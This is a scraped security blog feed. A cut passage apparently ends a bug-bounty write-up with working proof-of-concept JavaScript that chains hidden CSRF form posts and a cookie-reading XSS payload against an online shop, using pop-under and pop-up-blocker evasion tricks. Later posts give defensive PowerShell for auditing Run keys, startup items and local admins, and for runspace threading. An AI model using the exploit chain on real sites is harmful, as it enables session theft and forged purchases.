<div style="background: #F9F9F9; border: dashed #2F6FAB 1.0pt; mso-border-alt: dashed #2F6FAB .75pt; mso-element: para-border-div; padding: 12.0pt 12.0pt 12.0pt 12.0pt;">
<div class="MsoNormal" style="background-position: initial initial; background-repeat: initial initial; border: none; margin-bottom: 0.0001pt; padding: 0in;">
<span style="font-family: 'Courier New'; font-size: 10pt;"><script></span><span style="font-family: 'Courier New'; font-size: 10pt;">window.open();</span><span style="font-family: 'Courier New'; font-size: 10pt;"></script></span></div>
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp8LCidhWAgo-Xd6L4Xb0aogblO3gP3m8S_3xCK4Wxe-4qzS0lwIF7PzF9_9BGwepcGvns26mWqqACdbSExzq3cihWK6XehUgkrDxDBztenn9efp4URrEe307x9WPIwp2a-3RdBNvwU4Hk/s1600/popupblock.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp8LCidhWAgo-Xd6L4Xb0aogblO3gP3m8S_3xCK4Wxe-4qzS0lwIF7PzF9_9BGwepcGvns26mWqqACdbSExzq3cihWK6XehUgkrDxDBztenn9efp4URrEe307x9WPIwp2a-3RdBNvwU4Hk/s1600/popupblock.png" height="173" width="320" /></a></div>
<br />
To get my three new windows (add item to cart, add VIN no, visit cart page) I'd need the user to click/type three times to evade the pop-up blocker. Once created I could write my code, the POSTs would be sent and I could close them. Something like this:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;"><script>
i=0;
function openWin(){
if(i==0){
var win1 = window.open("","win1","left=5000,top=5000,width=10,height=10");
win1.document.write('<form name="csrf_form1" action="http://shop.teslamotors.com/cart/add" method="POST"><input name="id" type="hidden" value="47210232"></form><script>document.csrf_form1.submit();\</script\>');
setTimeout(function(){win1.close()},2000);
i++;
}else if(i==1){
var win2 = window.open("","win1","left=5000,top=5000,width=10,height=10");
win2.document.write('<form name="csrf_form2" action="http://shop.teslamotors.com/cart" method="POST"><input name="updates[]" type="hidden" value="1"><input name="attributes[your-VIN]" type="hidden" value=\'"><iframe/onload=alert(document.cookie)>\'><input name="note" type="hidden" value=""><input name="checkout" type="hidden" value="Checkout"></form><script>document.csrf_form2.submit();\</script\>');
setTimeout(function(){win2.close();},2000);
i++;
}else if(i==2){
var win3 = window.open("http://shop.teslamotors.com/cart","win3","left=5000,top=5000,width=10,height=10");
setTimeout(function(){win3.close();},2000);
}
document.getElementById("but").innerHTML= "Press me " + (3-i) + " times!";
}
</script>
<button id="but" onclick="openWin()">Press me 3 times!</button>
</pre>
<br />
The POC worked ok but you'd see windows appear and disappear in the bottom right:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIf7P65GD1nV9QLHxFMvYowHBEMSzAeBq4QMuh59iSRlf7yTQHTc2qYZ6h_t4ZDxGLxkW_fS_kJvBaTJeEB0-d3HnxHXXq9z_jQ9BctuZK5XV5jSHJxrxFJH6ZLvFjhf6rjwjTJYoY1YhL/s1600/pocscreen.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIf7P65GD1nV9QLHxFMvYowHBEMSzAeBq4QMuh59iSRlf7yTQHTc2qYZ6h_t4ZDxGLxkW_fS_kJvBaTJeEB0-d3HnxHXXq9z_jQ9BctuZK5XV5jSHJxrxFJH6ZLvFjhf6rjwjTJYoY1YhL/s1600/pocscreen.png" height="223" width="400" /></a></div>
<br />
Wouldn't it be better if the windows didn't show up at all?<br />
<br />
<br />
<b><span style="font-size: large;">Pop-under?</span></b><br />
<br />
One option is a pop-under which will open as a new tab but keep focus on the malicious page. Using the code from <a href="https://github.com/tuki/js-popunder">here</a> it's possible to simulate a click event on a link and achieve a pop-under:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;"><button onclick="popunder()">Click me!</button>
<a href="/evil.html" target="blank" id="linky"></a>
<script>
function popunder(){
var a=document.getElementById("linky");
var e=document.createEvent('MouseEvents');
e.initMouseEvent('click',true,true,window,0,0,0,0,0,true,false,false,true,0,null);
a.dispatchEvent(e)
}
</script></pre>
<div>
<br /></div>
The catch with this technique is that I couldn't find a way to interact with the new window. I could easily host my malicious code in another page and load that no problem. But then there was no way to close the window once the POST was sent so the user would be left with three new open tabs. Not sure if this is a security feature or I'm missing the obvious! Suggestions are welcome :)<br />
<br />
<br />
<span style="font-size: large;"><b>How to stay focused?</b></span><br />
<br />
Going back to the first technique of creating new windows the underlying problem was focus.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi55bAwtRj7KEpwCYtId_Y-eHDZIpgH8LrD7VyzkGL_3CXXGAGy6hg-ctWqnPMDddf876zm712RE_wc6-5DDqWM_l62eiVCt40b4-UQpQNnQlL2M_QlQdog_TAHGjX45A1yrqkxmkDtDirM/s1600/focus.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi55bAwtRj7KEpwCYtId_Y-eHDZIpgH8LrD7VyzkGL_3CXXGAGy6hg-ctWqnPMDddf876zm712RE_wc6-5DDqWM_l62eiVCt40b4-UQpQNnQlL2M_QlQdog_TAHGjX45A1yrqkxmkDtDirM/s1600/focus.png" height="283" width="400" /></a></div>
<br />
I needed to somehow keep the user on the page while simultaneously opening and closing windows in the background. One possibility I discovered was using alert() to effectively create a pop-under, something like the following:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;"><button onclick=newwin();>Click!</button>
<script>
function newwin(){
var myWindow1 = window.open("","myWindow1","width=10,height=10");
myWindow1.document.write('<form name="csrf_form1" action="http://shop.teslamotors.com/cart/add" method="POST"><input name="id" type="hidden" value="47210232"></form><script>document.csrf_form1.submit();\</script\>');
alert("lol you got a pop-under!");
setTimeout(function(){myWindow1.close()},3000);
}
</script>
</pre>
<br />
User clicks somewhere in the malicious page, a pop-up is created, alert triggers and keeps focus on malicious window, the pop-up effectively becomes a pop-under, request is sent in pop-under, malicious page closes pop-under.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkCt6nqRtFxckKk5uIDRMMdCvgH_IMSjCZ2o-wvru6lX2Wa1Lmk9nkL0_FBIqVRygvEYARVMM_emmgAG-E1pMli8zvfaxwqLXfD_QF3-4jwElTPSoON8NkCcb2nUzD68fR9oDcE6YCYJxp/s1600/popunder.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkCt6nqRtFxckKk5uIDRMMdCvgH_IMSjCZ2o-wvru6lX2Wa1Lmk9nkL0_FBIqVRygvEYARVMM_emmgAG-E1pMli8zvfaxwqLXfD_QF3-4jwElTPSoON8NkCcb2nUzD68fR9oDcE6YCYJxp/s1600/popunder.png" height="405" width="640" /></a></div>
<br />
<br />
In the screenshot you can see the pop-under on the left, of course this could be a lot smaller and positioned behind the existing window (the smaller arrow points to Bugcrowd :D).<br />
<br />
<br />
<b><span style="font-size: large;">Final Thoughts</span></b><br />
<br />
This post was a bit of a random journey through browser restrictions and javascript, I hope I didn't lose you guys along the way :) It was interesting to see that even in 2014 a lot of tricks can still be performed with iframes, XHR, new windows, pop-unders and alert boxes. Each has it's pros and cons. XSS/CSRF is nothing new, pretty much everything I showed above could have easily been prevented if the server used output encoding+CSRF tokens+X-Frame-Options.<br />
<br />
Although I didn't mention it earlier same origin policy was a pain in the ass and techniques like blur() and focus() wouldn't work for me. Something to bear in mind if you want to do some testing of your own.<br />
<br />
Hope you've enjoyed reading, comments and suggestions for improvements are appreciated :)<br />
<br />
<br />
Pwndizzle outUnknownnoreply@blogger.com9tag:blogger.com,1999:blog-6613536328909163975.post-30169188595358190662014-01-27T01:09:00.000+00:002014-01-27T01:13:33.901+00:00Powershell: Retrieve Run Keys, Startup items, Local AdminsIn this post I'll talk about retrieving run keys, start menu items and local admins with Powershell.<br />
<br />
<b>Note:</b> Scripts below have been created/tested for Win7. Modifications will be needed for XP!<br />
<div>
<br /></div>
<div>
<br /></div>
<div>
<b><span style="font-size: large;">Listing Run Keys</span></b></div>
<div>
<br /></div>
<div>
There are many many registry locations that can be used to auto-run software on system start-up. I decided to start with two of the most common:</div>
<div>
<br /></div>
<div>
- \HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run</div>
<div>
- \HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run<br />
<br /></div>
<div>
In this script I enumerate the run keys for the local machine and each user. I've used a notmatch filter to remove the noise from known good registry keys. Also at the start of the script you'll notice the threading function that I mentioned in my last Powershell blog post. It is possible to use <a href="http://msdn.microsoft.com/en-us/library/aa394464(v=vs.85).aspx">StartupCommand</a> to grab run keys but this doesn't actually cover all possible auto-run locations and I wanted to provide a more generic registry key enumeration example that you guys can adapt.<br />
<br />
To use, just create a text file with a list of machine names and point the $Computers variable at it. Start with a small number of machines and gradually add known good keys to the exclusions list, if the path contains a curved bracket or forward slash you need to escape it with a \.</div>
<div>
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">#Threading function
function ForEach-Parallel {
param(
[Parameter(Mandatory=$true,position=0)]
[System.Management.Automation.ScriptBlock] $ScriptBlock,
[Parameter(Mandatory=$true,ValueFromPipeline=$true)]
[PSObject]$InputObject,
[Parameter(Mandatory=$false)]
[int]$MaxThreads=5
)
BEGIN {
$iss = [system.management.automation.runspaces.initialsessionstate]::CreateDefault()
$pool = [Runspacefactory]::CreateRunspacePool(1, $maxthreads, $iss, $host)
$pool.open()
$threads = @()
$ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param(`$_)`r`n" + $Scriptblock.ToString())
}
PROCESS {
$powershell = [powershell]::Create().addscript($scriptblock).addargument($InputObject)
$powershell.runspacepool=$pool
$threads+= @{
instance = $powershell
handle = $powershell.begininvoke()
}
}
END {
$notdone = $true
while ($notdone) {
$notdone = $false
for ($i=0; $i -lt $threads.count; $i++) {
$thread = $threads[$i]
if ($thread) {
if ($thread.handle.iscompleted) {
$thread.instance.endinvoke($thread.handle)
$thread.instance.dispose()
$threads[$i] = $null
}
else {
$notdone = $true
}
}
}
}
}
}
#End of threading function!
$ErrorActionPreference = "Stop";
$start = Get-Date
$Computers = Get-Content c:\temp\machines.txt
$Computers |ForEach-Parallel -MaxThreads 100{
<span class="Apple-tab-span" style="white-space: pre;"> </span>try{
<span class="Apple-tab-span" style="white-space: pre;"> </span>if(Test-Path \\$_\C$ -ErrorAction silentlycontinue){
<span class="Apple-tab-span" style="white-space: pre;"> </span>#List run keys for all users on machine
<span class="Apple-tab-span" style="white-space: pre;"> </span>$Srv=$_
<span class="Apple-tab-span" style="white-space: pre;"> </span>$key = ""
<span class="Apple-tab-span" style="white-space: pre;"> </span>$type = [Microsoft.Win32.RegistryHive]::Users
<span class="Apple-tab-span" style="white-space: pre;"> </span>$regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey($type, $Srv)
<span class="Apple-tab-span" style="white-space: pre;"> </span>$regKey = $regKey.OpenSubKey($key)
<span class="Apple-tab-span" style="white-space: pre;"> </span>Foreach($sub in $regKey.GetSubKeyNames()|where {$_ -notmatch "Classes"}|where {$_.length -gt 9}){
<span class="Apple-tab-span" style="white-space: pre;"> </span>$key = $sub + "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
<span class="Apple-tab-span" style="white-space: pre;"> </span>$regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey($type, $Srv)
<span class="Apple-tab-span" style="white-space: pre;"> </span>$regKey = $regKey.OpenSubKey($key)
<span class="Apple-tab-span" style="white-space: pre;"> </span>Foreach($val in $regKey.GetValueNames()){
<span class="Apple-tab-span" style="white-space: pre;"> </span> $Srv + " - Users - Name: " + $val + " Data: " + $regKey.GetValue("$val")|where {$_ -notmatch "C:\\Program Files \(x86\)\\Microsoft Office\\Office14\\MSOSYNC.EXE|C:\\Windows\\system32\\StikyNot.exe|C:\\Program Files\\Windows Sidebar\\sidebar.exe|C:\\Program Files \(x86\)\\Skype\\Phone\\Skype.exe|C:\\Program Files \(x86\)\\Google\\Chrome\\Application\\chrome.exe|C:\\PROGRA~2\\Yahoo!\\Messenger\\YahooMessenger.exe|\\AppData\\Local\\Google\\Update\\GoogleUpdate.exe|\\AppData\\Roaming\\Google\\Google Talk\\googletalk.exe"}
<span class="Apple-tab-span" style="white-space: pre;"> </span>}
<span class="Apple-tab-span" style="white-space: pre;"> </span>}
<span class="Apple-tab-span" style="white-space: pre;"> </span>#List run keys for local machine
<span class="Apple-tab-span" style="white-space: pre;"> </span>$key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
<span class="Apple-tab-span" style="white-space: pre;"> </span>$type = [Microsoft.Win32.RegistryHive]::LocalMachine
<span class="Apple-tab-span" style="white-space: pre;"> </span>$regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey($type, $Srv)
<span class="Apple-tab-span" style="white-space: pre;"> </span>$regKey = $regKey.OpenSubKey($key)
<span class="Apple-tab-span" style="white-space: pre;"> </span>Foreach($val in $regKey.GetValueNames()){
<span class="Apple-tab-span" style="white-space: pre;"> </span> $Srv + " - LocalMachine - Name: " + $val + " Data: " + $regKey.GetValue("$val")|where {$_ -notmatch "C:\\Windows\\system32\\hkcmd.exe|C:\\Windows\\system32\\igfxtray.exe|C:\\Windows\\system32\\igfxpers.exe|C:\\Program Files\\Realtek\\Audio\\HDA\\RAVCpl64.exe|C:\\Program Files\\Synaptics\\SynTP\\SynTPEnh.exe|C:\\Program Files \(x86\)\\HP\\Digital Imaging\\Fax\\Fax Driver 0.6 Base\\hppfaxprintersrv.exe"}
<span class="Apple-tab-span" style="white-space: pre;"> </span>}
<span class="Apple-tab-span" style="white-space: pre;"> </span>} else{
<span class="Apple-tab-span" style="white-space: pre;"> </span>$_ + " - Machine not accessible"
<span class="Apple-tab-span" style="white-space: pre;"> </span>}
<span class="Apple-tab-span" style="white-space: pre;"> </span>}
<span class="Apple-tab-span" style="white-space: pre;"> </span>Catch{
<span class="Apple-tab-span" style="white-space: pre;"> </span>"Caught an exception!"
<span class="Apple-tab-span" style="white-space: pre;"> </span>}
}
$end = Get-Date
"Time taken: " + (New-Timespan $start $end).seconds + " seconds"
</pre>
<div>
<br /></div>
</div>
<div>
<br /></div>
<div>
<b><span style="font-size: large;">Startup Folder Items</span></b></div>
<div>
<br /></div>
<div>
The startup folder is an oldy but still a goody for malware. I found relatively few entries in this location so it's probably dead easy for most people to spot anything suspicious here.</div>
<div>
<br /></div>
<div>
The script will first retrieve the names of user folders present in C:\Users then retrieve the startup values for each profile. I've omitted the <b>threading function</b> in the script below <b>you will need to copy and paste it from above for the script to work!!!</b> Also you will need to point $Computers to your text file containing hostnames.</div>
<div>
<br /></div>
<div>
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">#Insert threading function here!
$ErrorActionPreference = "Stop";
$start = Get-Date
$Computers = Get-Content c:\temp\machines.txt
$Computers |ForEach-Parallel -MaxThreads 100{
<span class="Apple-tab-span" style="white-space: pre;"> </span>try{
<span class="Apple-tab-span" style="white-space: pre;"> </span>if(Test-Path \\$_\C$ -ErrorAction silentlycontinue){
<span class="Apple-tab-span" style="white-space: pre;"> </span>#Retrieve usernames from machine
<span class="Apple-tab-span" style="white-space: pre;"> </span>$Srv = $_
<span class="Apple-tab-span" style="white-space: pre;"> </span>$Users = Get-ChildItem \\$Srv\C$\Users -force | Where-Object {$_.mode -match "d"} | foreach { $_.Name } | where {$_ -notmatch "Search|Public"}
<span class="Apple-tab-span" style="white-space: pre;"> </span>#For each user retrieve Startup items
<span class="Apple-tab-span" style="white-space: pre;"> </span>ForEach ($User in $Users){
<span class="Apple-tab-span" style="white-space: pre;"> </span>Get-ChildItem -Force "\\$Srv\C$\Users\$User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" -name | where {$_ -notmatch "desktop.ini|Dropbox.lnk"} | foreach {"$Srv - $User - " + $_}
<span class="Apple-tab-span" style="white-space: pre;"> </span>}
<span class="Apple-tab-span" style="white-space: pre;"> </span>} else{
<span class="Apple-tab-span" style="white-space: pre;"> </span>$_ + " - Machine not accessible"
<span class="Apple-tab-span" style="white-space: pre;"> </span>}
<span class="Apple-tab-span" style="white-space: pre;"> </span>}
<span class="Apple-tab-span" style="white-space: pre;"> </span>Catch{
<span class="Apple-tab-span" style="white-space: pre;"> </span>"Caught an exception!"
<span class="Apple-tab-span" style="white-space: pre;"> </span>}
}
$end = Get-Date
"Time taken: " + (New-Timespan $start $end).seconds + " seconds"
</pre>
<br />
<br />
<b><span style="font-size: large;">Local Admins</span></b><br />
<br />
Whether you're using XP or Windows7 giving your users local admin privileges is not a good idea as most of the time they don't need the access to do their jobs. But whether you lock things down or not, it can be useful to know what admin accounts currently exist on your systems.<br />
<br />
In the script I used invoke-command inside the threading code, I found this sped things up and made error handling easier. Invoke-command simply ran "net localgroup administrators" and then I filter the results. To run the code below you will need to add the threading function from the first example to the start and also update $Computers.<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">#Insert threading function here!
$ErrorActionPreference = "Stop";
$start = Get-Date
$Computers = Get-Content c:\temp\test.txt
$Computers |ForEach-Parallel -MaxThreads 100{
<span class="Apple-tab-span" style="white-space: pre;"> </span>try{
<span class="Apple-tab-span" style="white-space: pre;"> </span>if(Test-Path \\$_\C$ -ErrorAction silentlycontinue){
<span class="Apple-tab-span" style="white-space: pre;"> </span>$Srv = $_
<span class="Apple-tab-span" style="white-space: pre;"> </span>Invoke-Command -ComputerName $Srv -ScriptBlock { net localgroup Administrators } | where {$_ -ne ""} | where {$_ -notmatch "Alias Name|Administrators have complete|Members|--------|knownaccount1|The command completed"} | foreach {"$Srv - " + $_}
<span class="Apple-tab-span" style="white-space: pre;"> </span>} else{
<span class="Apple-tab-span" style="white-space: pre;"> </span>$_ + " - Machine not accessible"
<span class="Apple-tab-span" style="white-space: pre;"> </span>}
<span class="Apple-tab-span" style="white-space: pre;"> </span>}
<span class="Apple-tab-span" style="white-space: pre;"> </span>Catch{
<span class="Apple-tab-span" style="white-space: pre;"> </span>"Caught an exception!"
<span class="Apple-tab-span" style="white-space: pre;"> </span>}
}
$end = Get-Date
"Time taken: " + (New-Timespan $start $end).seconds + " seconds"
</pre>
<br />
For something a bit more formal check the post <a href="http://powershell.org/wp/2013/04/02/get-local-admin-group-members-in-a-new-old-way-3/">here</a>. Also I did play around with WMI but it kept hanging on some machines and WMI in Powershell has no timeout parameter by default. In case you're curious try:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">gwmi win32_groupuser -computer $_ | ? groupcomponent -match 'administrators' |% {$_.partcomponent} | where {$_ -match "UserAccount"} | where {$_ -notmatch "known1|known2"}
</pre>
</div>
<div>
<br />
<br /></div>
<div>
<br /></div>
<div>
<b><span style="font-size: large;">Final Thoughts</span></b><br />
<div>
<br /></div>
<div>
Whether for incident response, active defense or monitoring Powershell can be one of the most useful tools in your security toolbox. As is usually the case I tried Googling for these scripts, couldn't find something I liked, so wrote my own. The scripts could definitely be improved or even combined. For more scripts check out the Microsoft repository <a href="http://gallery.technet.microsoft.com/ScriptCenter/">here</a>.<br />
<br /></div>
<div>
I also wanted to plug PoshSec again (https://github.com/PoshSec/PoshSecFramework) as it just looked so good, although I've yet to play with it myself. And again thanks to Tome for his threading code.</div>
</div>
<div>
<br /></div>
<div>
Hope you guys have found this post useful. Comments/questions always appreciated.</div>
Unknownnoreply@blogger.com5tag:blogger.com,1999:blog-6613536328909163975.post-18821355119507538322013-12-20T10:53:00.001+00:002013-12-20T14:19:47.896+00:00Powershell: ThreadingHaving recently got my head around basic Powershell I wanted to share some of the lessons I'd learnt. In this first post I'll talk about Powershell threading and performing tasks on an enterprise scale.<br />
<br />
<br />
<b><span style="font-size: large;">Getting Started</span></b><br />
<br />
I'm not going to cover how to install and setup Powershell/WinRM. There are a lot of good posts out there already, for example:<br />
<br />
<a href="http://blog.powershell.no/2010/03/04/enable-and-configure-windows-powershell-remoting-using-group-policy/">http://blog.powershell.no/2010/03/04/enable-and-configure-windows-powershell-remoting-using-group-policy/</a><br />
<br />
In a nutshell, you need to create a GPO to enable the WinRM service or if you want to test locally, just start the WinRM (Windows Remote Management) service. To run commands you'll need to have Powershell installed (Powershell 2.0 is included with Win7 by default), i'd recommend updating to Powershell 3.<br />
<br />
<br />
<b><span style="font-size: large;">Scaling up your Powershell</span></b><br />
<br />
When running a script across thousands of machines I found three factors significantly affected the total run time. The first was how well I could get the tasks to run in parallel, the second was the efficiency of my code and the third was how much work I could offload to remote machines.<br />
<br />
Efficiently running tasks in parallel was the biggest issue so in this post I'll cover the main parallel/off-loading techniques:<br />
<ul>
<li>Invoke-Command</li>
<li>Jobs</li>
<li>Runspace Pooling</li>
</ul>
But first I wanted to briefly mention efficient coding.<br />
<br />
<br />
<b><span style="font-size: large;">Creating efficient scripts</span></b><br />
<br />
In every language efficient coding can significantly affect the speed of and resources used by your scripts. This is particularly important when trying to scale a script across many machines as any inefficiencies are magnified.<br />
<br />
I found the following helped improve my Powershell code performance:<br />
<ul>
<li>Using Powershell built-in functions (cmdlets) wherever possible </li>
<li>Using piping as much as possible</li>
<li>Minimizing creation/usage of new variables/files/objects</li>
<li>Avoiding searching or iterating over large data sets</li>
<li>Performing operations in parallel</li>
</ul>
For example to count the occurrences of a string in a 2MB text file, you don't want to do something crazy like this:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">$i=0;Get-Content c:\temp\test.txt|ForEach {if($_ -eq 123){$i++}};Write-host $i
</pre>
<br />
During testing the above took 8 seconds. The following code is cleaner but still took 7 seconds:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">(Get-Content c:\temp\test.txt |Where {$_ -match "123"}| Measure-Object -Line).Lines
</pre>
<br />
In this instance, the fastest way to search is by using Select-String, which in testing took less than a second! Using a single cmdlet and it's built-in parameters made this the most efficient option.<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">@(Select-String -Path c:\temp\test.txt -pattern 123).count
</pre>
<br />
So how can we execute this in parallel across thousands of machines?<br />
<br />
<br />
<span style="font-size: large;"><b>Invoke-Command</b></span><br />
<br />
Invoke-command offers a simple way to execute commands on multiple remote machines in parallel.<br />
<br />
<a href="http://technet.microsoft.com/en-us/library/hh849719.aspx">http://technet.microsoft.com/en-us/library/hh849719.aspx</a><br />
<br />
The SANS blog and Technet links below give some great explanations about why it's useful:<br />
<br />
<a href="http://computer-forensics.sans.org/blog/2013/09/03/the-power-of-powershell-remoting">http://computer-forensics.sans.org/blog/2013/09/03/the-power-of-powershell-remoting</a><br />
<br />
<a href="http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/23/an-introduction-to-powershell-remoting-part-one.aspx">http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/23/an-introduction-to-powershell-remoting-part-one.aspx</a><br />
<br />
I found Invoke-Command an ok option for simple one off commands but unsuitable for more complex interactive scripts. By design you provide code to be executed on the remote machine and once complete you are given the result. I couldn't find a way to perform interactive actions or easily get/push data (see double-hop problem). I also couldn't find a clean way to handle errors for non-accessible/offline machines (suggestions are welcome!).<br />
<br />
As an example here's a script to check the status of a service on multiple machines:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">Invoke-Command –ComputerName (Get-Content "C:\Temp\computers.txt") –ScriptBlock {Get-Service -Name WPCSvc} -ThrottleLimit 50 -ErrorAction continue
</pre>
<br />
Unsatisfied with Invoke-Command I decided to look for alternative techniques.<br />
<br />
<br />
<b><span style="font-size: large;">Powershell Jobs</span></b><br />
<br />
When you Google Powershell and threading everyone tells you to use Jobs as they are Powershell's answer to threads. So that's what I did, using the script at the link below I implemented a job creating function, a job management function and set my script going.<br />
<br />
<a href="http://webcache.googleusercontent.com/search?q=cache:yFjkpkw8lT4J:www.get-blog.com/%3Fp%3D22">http://webcache.googleusercontent.com/search?q=cache:yFjkpkw8lT4J:www.get-blog.com/%3Fp%3D22</a><br />
<br />
Something like this:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">$MaxThreads = 20
$SleepTimer = 1000
$Computers = Get-Content "C:\Temp\computers.txt"
ForEach ($Computer in $Computers){
While (@(Get-Job -state running).count -ge $MaxThreads){
Start-Sleep -Milliseconds $SleepTimer
}
Start-Job -scriptblock {
if(Test-Path \\$($args[0])\C$ -ErrorAction silentlycontinue){
#Do something
} else{
"Machine not accessible"
}
} -ArgumentList $Computer -Name "$($Computer)job" | Out-Null
}
While (@(Get-Job -State Running).count -gt 0){
Start-Sleep -Milliseconds $SleepTimer
}
ForEach($Job in Get-Job){
Receive-Job -Job $Job
Remove-job -Force $Job
}
</pre>
<br />
The positive with this script is that you can use -ComputerName remote execution and GetWMIObject instead of Invoke-Command to run commands interactively and in parallel. The negative is that it took a long long time to run. I'm not sure whether Powershell has a cap on the number of concurrent jobs or whether jobs are just inefficient. Either way jobs were slow. So I went back to Google.<br />
<br />
<br />
<b><span style="font-size: large;">Runspace pooling to the rescue!</span></b><br />
<br />
After wading through all of the Jobs posts I finally got to a technique called runspace pooling. By calling CreateRunspacePool it is possible to create multiple runspaces pools which effectively work as threads.<br />
<br />
<a href="http://msdn.microsoft.com/en-us/library/system.management.automation.runspaces.runspacefactory.createrunspacepool(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/system.management.automation.runspaces.runspacefactory.createrunspacepool(v=vs.85).aspx</a><br />
<br />
With one pool per host and all of the pools operating simultaneously the script was very fast. It's possible to include your own runspace code within your script but I found the simpler solution was to use Tome Tanasovski's threading function. I'd recommend checking out his post here for the full story and script:<br />
<br />
<a href="http://powertoe.wordpress.com/2012/05/03/foreach-parallel/">http://powertoe.wordpress.com/2012/05/03/foreach-parallel/</a><br />
<br />
Using Tome's runspace pooling code I found it easy to create scripts that ran quickly, didn't encounter double-hop problems and handled errors as expected.<br />
<br />
<br />
<b><span style="font-size: large;">Putting Powershell Threading to Work</span></b><br />
<br />
To give a quick example, I created a script below that will check the status of a service and if it's disabled it will enable it:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">$computer = "testhost"
$myservice = Get-Service -computerName $computer -Name "WPCSvc"| Where-Object {$_.status -eq "Stopped"}
if($myservice){
<span class="Apple-tab-span" style="white-space: pre;"> </span>"Service is stopped. Starting now!"
<span class="Apple-tab-span" style="white-space: pre;"> </span>Set-Service WPCSvc -startuptype "Automatic" -computerName $computer<span class="Apple-tab-span" style="white-space: pre;"> </span>
<span class="Apple-tab-span" style="white-space: pre;"> </span>Start-Service -inputobject $myservice
<span class="Apple-tab-span" style="white-space: pre;"> </span>"Service started!"
}
</pre>
<br />
I've used the Get-Service cmdlet to first get the status of a specific service. If the service was stopped I'd set the start type to automatic and start the service.<br />
<br />
So that's for one machine, if we want to run this on thousands of machines we just need to combine the code with Tome's runspace script:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">function ForEach-Parallel {
param(
[Parameter(Mandatory=$true,position=0)]
[System.Management.Automation.ScriptBlock] $ScriptBlock,
[Parameter(Mandatory=$true,ValueFromPipeline=$true)]
[PSObject]$InputObject,
[Parameter(Mandatory=$false)]
[int]$MaxThreads=5
)
BEGIN {
$iss = [system.management.automation.runspaces.initialsessionstate]::CreateDefault()
$pool = [Runspacefactory]::CreateRunspacePool(1, $maxthreads, $iss, $host)
$pool.open()
$threads = @()
$ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param(`$_)`r`n" + $Scriptblock.ToString())
}
PROCESS {
$powershell = [powershell]::Create().addscript($scriptblock).addargument($InputObject)
$powershell.runspacepool=$pool
$threads+= @{
instance = $powershell
handle = $powershell.begininvoke()
}
}
END {
$notdone = $true
while ($notdone) {
$notdone = $false
for ($i=0; $i -lt $threads.count; $i++) {
$thread = $threads[$i]
if ($thread) {
if ($thread.handle.iscompleted) {
$thread.instance.endinvoke($thread.handle)
$thread.instance.dispose()
$threads[$i] = $null
}
else {
$notdone = $true
}
}
}
}
}
}
$ErrorActionPreference = "Stop";
$ComputerList = $(Read-Host "Enter the Location of the computerlist")
$Computers = Get-Content $ComputerList
$Computers |ForEach-Parallel -MaxThreads 100{
<span class="Apple-tab-span" style="white-space: pre;"> </span>try{
<span class="Apple-tab-span" style="white-space: pre;"> </span>if(Test-Path \\$_\C$ -ErrorAction silentlycontinue){
<span class="Apple-tab-span" style="white-space: pre;"> </span>$test = Get-Service -computerName $_ -Name "WPCSvc"| Where-Object {$_.status -eq "Stopped"}
<span class="Apple-tab-span" style="white-space: pre;"> </span>if($test){
<span class="Apple-tab-span" style="white-space: pre;"> </span>"Service stopped on: " + $_
<span class="Apple-tab-span" style="white-space: pre;"> </span>Set-Service WPCSvc -startuptype "Automatic" -computerName $_<span class="Apple-tab-span" style="white-space: pre;"> </span>
